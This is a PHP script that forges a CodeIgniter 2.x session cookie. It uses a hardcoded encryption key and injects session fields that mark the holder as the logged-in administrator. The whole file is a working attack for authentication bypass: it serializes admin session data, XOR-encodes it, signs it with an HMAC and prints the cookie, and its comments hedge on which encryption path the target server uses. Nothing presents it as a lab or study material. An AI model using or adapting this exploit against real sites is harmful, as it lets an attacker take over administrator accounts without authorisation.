<?php
// CI 2.x Session Forging
// The key is MD5'd in CI

$raw_key = '6f23bdb98fc17e12a9258a1fa1fec68e';
$key = md5($raw_key);

// Session data we want to inject
$session_data = array(
    'session_id' => md5(uniqid(mt_rand())),
    'ip_address' => '0.0.0.0',
    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'last_activity' => time(),
    'user_data' => '',
    'login' => 'Login_Admin',
    'username' => 'admin',
    'nama_lengkap' => 'Administrator'
);

// Serialize the data (CI uses PHP serialization)
$serialized = serialize($session_data);
echo "Serialized data:\n$serialized\n\n";

// CI 2.x adds markers for slashes before serializing
$serialized = str_replace('\\', '{{slash}}', $serialized);

// CI uses XOR encoding if mcrypt is not available (fallback)
// But the server has mcrypt (deprecated warnings), so it uses mcrypt
// However, since mcrypt is deprecated in PHP 7.1+ and removed in 8.0,
// we need to check what PHP version is being used

// Let's try the XOR-only path first (used when mcrypt_exists = FALSE)
// This function is _xor_encode in Encrypt.php

function xor_encode($string, $key) {
    $hash = sha1($key); // CI uses sha1 as default hash
    $result = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $result .= chr(ord($string[$i]) ^ ord($hash[$i % strlen($hash)]));
    }
    return $result;
}

// Encode with XOR
$encoded = xor_encode($serialized, $key);

// Add HMAC signature
$hmac = hash_hmac('sha1', $encoded, $raw_key);

// Final cookie value
$cookie = base64_encode($encoded) . $hmac;

// Make URL safe (CI convention)
$cookie = rtrim(strtr($cookie, '+/', '-_'), '=');

echo "XOR-encoded cookie (for mcrypt-disabled servers):\n";
echo $cookie . "\n\n";
echo "Length: " . strlen($cookie) . "\n";